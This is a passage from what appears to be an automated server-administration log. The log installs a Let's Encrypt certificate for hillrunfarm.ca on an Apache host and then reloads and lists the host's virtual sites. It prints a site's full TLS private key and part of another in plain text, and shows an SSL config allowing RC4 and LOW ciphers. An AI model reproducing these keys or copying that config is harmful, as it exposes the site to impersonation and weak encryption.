TV6lezgDeBcltPTQNdnmJerQt5f//XQJRGpCbS0oOusFOkplPTjd0y9MVEI1M7sR
QMudtO1km93ti4vB0A25vsegjcaxBenER8KxKScyYwo8cnn8qEK9llS9AoGAOonj
YznqayQKwoToUGy4WVF/+jF+H479aLxr/MGe45BTvjm+08jmK790xVBGqJUFPS9c
VXTLKX1MTJUpoUJo0OAmC3SvJbBZaWfUeiqJFTcbSo1L2UG5ie/F6PvA+eN+qE5C
7TKx7VwLlMiDTxaAkR/zi9JRyhYMpGFz7S2cAw0CgYA9ld1sWZsOqKvnWbaVWOD1
zDuCx1tTNIeOIRq0rEFbABlQ5yAYy6GkwSQ/P9RwbZOoIOVGaZCI7wl36EEwlHdX
hEItm5olzc7Cxhkd9h8pj1SZAL2sGs/6dfzmWYt1d5gLogrnlVnwAj7+Nzq5jPhG
hjQvsZSeRsZOH7NYyjfbig==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-01 06:00:26: Establishing a connection
2025-12-01 06:00:26: Establishing a connection
2025-12-01 06:00:27:
PUT: /tmp/pkp651486
#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-01 06:00:27:
chmod 755 /tmp/pkp651486; /tmp/pkp651486; rm /tmp/pkp651486
2025-12-01 06:00:27:
1
2025-12-01 06:00:27: Establishing a connection
2025-12-01 06:00:28:
PUT: /tmp/pkp277437
#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0
cat > 6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts
2025-12-01 06:00:28:
chmod 755 /tmp/pkp277437; /tmp/pkp277437; rm /tmp/pkp277437
2025-12-01 06:00:28:
2025-12-01 06:00:38: Establishing a connection
2025-12-01 06:00:38:
PUT: /tmp/pkp827303
#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm TNWVI_onp115Cji2ezgGrdrnqtVYQyVqSMH6Gy81mI0
rm 6OdGI74AxHs0bwtxu6yNslAXAvj0Xqz0_QmAVWejxts
2025-12-01 06:00:38:
chmod 755 /tmp/pkp827303; /tmp/pkp827303; rm /tmp/pkp827303
2025-12-01 06:00:38:
2025-12-01 06:00:38: Establishing a connection
2025-12-01 06:00:38:
PUT: /tmp/pkp189694
#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt
cat > $temp_file <<'endmsg'
1a:8f:d0:a1:6b:dc:6f:d2:ff:3f:20:c6:a5:7e:62:79
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBnVQ/qt9Y8PBgG/b07DcMJzyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMjA3WhcNMjYwMzAxMDUwMjA2WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL5xS2DHWYwvwYOxPbtPUticBGam+k5hGr9kM5nWMabgVborciQdTuTN+bfDvleH
TCYefmRJlcgV3pGJ9vvMYU+nHmvW3szyOSG9IqIRPC0MwQdOSAtbwilIhpXv087S
Fsa9DHzgia9fiYnIUO0lZVsO2fI2gZI4lbI+rfkftpiTIena7PWVGD0WnvepYRn9
2NN1kPdJmksYWHZHxYlbI2Bl43dD0oRulkORWR/72Kgp10EhInRXVo3kD6DHva0R
H0U+/Fz6S/q2U79qZiJesOh+Zu0/HLwB72iZk7P1HjdX9D/txZWgqUjs+84BRypX
CdzAHZZ2tzDxuWoYARK0BkkCAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU4vSbV3j+4Y/0EFxWn4W0eeLkUcQwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE1LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABmth/roIAAAQDAEcwRQIhAPaaQpaAIs09Ub/asfE2BjePvks4i9kmy7PgrpUY
tVSxAiBM2ax6x2eig1LJE/2ZoNnQi/bYXcJy9H+nXRtBxIBrvQB2AA5XlLzzrqk+
MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmth/roMAAAQDAEcwRQIgVJWDM3dw
cGAMMvygmT8aU5vnDvV6Kk/9oTvWGuKGXXACIQDCpUNWC6sB9QySOeaJKwGYGL/V
FBmCZGaXL1bhKGahZTANBgkqhkiG9w0BAQsFAAOCAQEAhGIXM1EhMC3CdjBeOE6m
5sae5wxqBu8Z3jWfMrLRIquvG1qohpyB6T6D7+xW77eTPVJqr03bNPOKyss/NkuW
1Q1Uhrdt+3vi4CFffmFMcYKz1U5kGNsJBqYAQtWy10z5HeiXzSpUggpgiJuymUCR
V3xTKcuaYyru1FRtMv2u3Ym2gblVZGquBMzNNQOjc8PLaq7cCJ/kfLSK8VeTmIFh
b09SOHkwtwO4DANFl53Dr/RD6Zn7VFUUIeMlhZ2o8aiEDOqjKaXeF9kXYXh/3I/n
LchUQMKdry9aUg6qQVp8f1Mt7WMhx+X7TeGy65/Uj7coojI+RYv4BwhfU01Uy6CM
Hw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+cUtgx1mML8GD
sT27T1LYnARmpvpOYRq/ZDOZ1jGm4FW6K3IkHU7kzfm3w75Xh0wmHn5kSZXIFd6R
ifb7zGFPpx5r1t7M8jkhvSKiETwtDMEHTkgLW8IpSIaV79PO0hbGvQx84ImvX4mJ
yFDtJWVbDtnyNoGSOJWyPq35H7aYkyHp2uz1lRg9Fp73qWEZ/djTdZD3SZpLGFh2
R8WJWyNgZeN3Q9KEbpZDkVkf+9ioKddBISJ0V1aN5A+gx72tER9FPvxc+kv6tlO/
amYiXrDofmbtPxy8Ae9omZOz9R43V/Q/7cWVoKlI7PvOAUcqVwncwB2Wdrcw8blq
GAEStAZJAgMBAAECggEATSL0hhmYwrhhKGc0+tZxVv0ypyWBAxg/zj/WyrvAVrhM
4OBSFiCs4O4w9GbbhPZvOI1nYlWPzoBVKxv3pxusWqf1IXbhvZ9q1qiWC5Dxj8m3
sa7abYdYCIKwyLBgWUgtI4hVM4t7GUaYHe++H5/jAtPsIThEmSZEM/NBYkOfIQLb
MuQOC31/eKNuTTnkAAtt+a9IPsTwh+dHExiIJXqdCdQxchvq1ER/bF6pkSzCX21f
EgP9HN+QTL/gJjvDlp5XCsqVC9KtpE6Pl6Dm5fLuAAjrJE/6Z3La1dRZib+HvDTk
4yQDmEafqIoPxSrYF7MBSLDzXhh+DhymPoHkBP/yEQKBgQD5AqpFPqt7mtMfyItP
sUpVr18402G8OW7eFPxMY1wPL2TO2P2gujJPhFUEBK0hdCmrtq4Ay4F+79zFR8rw
lb9GIyel2Dfdf1EKt/Bx2Nv/XkGvQzUv7ZXJTIdpNOTsOpWvYF88ymowxFjF+bCX
YYhkTaNnWLR2do61Et61W8OfnQKBgQDDycX+PDdhplqJctX1JxbEpFSqHR/MvYAs
Sfq7OCiLB7nFKI5Xg/nLKRFvwS5fv+E1QhwJB7JjpSnRIZBz14GM+SV3zkdDeExH
g2WjjwQ4+w2xC9PpZdwVg+9gZU2wvbDP/05HZ5kIeOmTc3vGByKs0HKwBTod3mts
T6lfjam/nQKBgGv2wtqZDILgIw/RxM09wkwaaH/b7rFMeYxiru1z2xNeaifhHz6T
3IJrjuzaFjK+Cd9Aqnr/wVrHJwKGWTAszSzcyzD16Wro67to+yBxdRloxbP2wNXR
/jK0MrXj0Cm4UPQkJcbWwGn6h772vqE0EY3jt6h0ZnJCfyd1UghyDARlAoGAUOyF
OaAKBAKOSWF9reaKMpz5oZaIHkf1QlkRmXCM0WpQDn3E18dk5+QBoP9n+4uDuk+o
5tKXmTgbIKWO31Kj6XDRW8OXEPwYCzb0O7ZROHwMHLGW1VGUtg/iUSWOBw9glZgg
8sKPLkFLyfZhomgwnN1LihWe/9l+7TW//A7BqsECgYEAvvJs4Y5fGlK+e1QU5vin
57yHaoLivK5tX5eKU7cQ5xf8t9Wjex28NjaZof0fhEW0RCnZxx1mU3gqCF6n1QiL
I8zb1sEeKDJA2RRbj7CZRKe8KuXXyCRKSL6XjE6JWFZAi5kDA4BrX5y7P8TvCMed
18bpFmLc0JCfG5eHAu/wpK8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-01 06:00:38:
chmod 755 /tmp/pkp189694; /tmp/pkp189694; rm /tmp/pkp189694
2025-12-01 06:00:38:
dir=/etc/ssl/certs
2025-12-01 06:00:38:
PUT: /tmp/pkp300179
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-01 06:00:38:
chmod 755 /tmp/pkp300179; /tmp/pkp300179; rm /tmp/pkp300179
2025-12-01 06:00:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42
<VirtualHost *:80>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_secure_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-01 06:00:39:
PUT: /tmp/pkp307624
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_secure_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi
2025-12-01 06:00:39:
chmod 755 /tmp/pkp307624; /tmp/pkp307624; rm /tmp/pkp307624
2025-12-01 06:00:39:
2025-12-01 06:00:39:
PUT: /tmp/pkp620437
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-01 06:00:39:
chmod 755 /tmp/pkp620437; /tmp/pkp620437; rm /tmp/pkp620437
2025-12-01 06:00:39:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:00:39: Establishing a connection
2025-12-01 06:00:39:
PUT: /tmp/pkp402725
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-01 06:00:39:
chmod 755 /tmp/pkp402725; /tmp/pkp402725; rm /tmp/pkp402725
2025-12-01 06:00:39:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:00:39:
PUT: /tmp/pkp645429
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:00:39:
chmod 755 /tmp/pkp645429; /tmp/pkp645429; rm /tmp/pkp645429
2025-12-01 06:00:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 1391
<VirtualHost *:80>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
